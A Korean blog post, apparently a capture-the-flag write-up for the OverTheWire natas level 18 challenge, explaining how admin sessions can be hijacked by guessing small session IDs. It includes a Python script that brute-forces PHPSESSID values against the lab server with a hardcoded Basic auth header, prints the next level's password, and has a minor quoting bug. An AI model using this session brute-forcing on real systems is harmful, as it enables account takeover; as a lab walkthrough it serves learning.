본문 바로가기
워게임/natas

[natas - WEB hacking] level17 -> leve18

by B T Y 2017. 10. 8.
반응형

[natas - WEB hacking] level17 -> leve18





[ 풀이과정 ]


페이지에 접속하니 'Please login with your admin account to retrieve credentials for natas19.'라는 문구가 보였다..

구글 번역기를 통해서 알아보니 'natas19를 알기 위해서는 admin으로 로그인하라'는 내용이였다.

username과 password를 아무거나 입력해서 login을 시도하니 

'You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.'라는 문구가 떳다..

'일반 사용자로 로그인 했으니 natas19에 대한 자격 증명이 되는 관리자로 로그인하라'는 그런 뜻이였다.


페이지 소스코드를 확인해보니 세션을 생성하는 부분이 있었고 개발자 도구를 통해서 Network를 확인해보니 

session을 사용해서 인증을 하고 있었고 cookie 필드에서 확인할 수 있었다..

소스코드를 확인해보면 if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) 

이부분에서 admin 세션에 대한 값이 1이여야 되는데 admin에 대한 특정한 세션 ID가 있다는걸 알 수 있다.

이 부분을 이용해서 python으로 session id를 1부터 640번까지 반복해서 보내는 자동화 프로그램을 

만들어서 이 문제를 풀수가 있었다..


정확한 세션 ID를 설정해서 요청을 보내게 되면 그에 대한 응답으로 natas19에 대한 패스워드를 알아낼수 있다.





natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs




natas18.py


import socket

for no in range( 0, 641 ):
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    sock.connect( ('176.9.9.172', 80) )

    request_header = 'GET /index.php'
    request_header += '?username=admin&password=1234 HTTP/1.1\r\n'
    request_header += 'Authorization:Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n'
    request_header += 'Cookie:__cfduid=d7986ed8275caac59d546d88038f892931507459228; __utma=176859643.305169552.1507459229.1507459229.1507459229.1; __utmc=176859643; __utmz=176859643.1507459229.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); '
    request_header += 'PHPSESSID=' + str(no) + '\r\n'
    request_header += 'Host:natas18.natas.labs.overthewire.org\r\n'
    request_header += '\r\n'

    sock.send( request_header.encode() )
    response = sock.recv(65535).decode()

    if not('regular user' in response):
        print('PHPSESSID: + str(no))
        print(response)
        sock.close()
        break

    sock.close()



반응형

댓글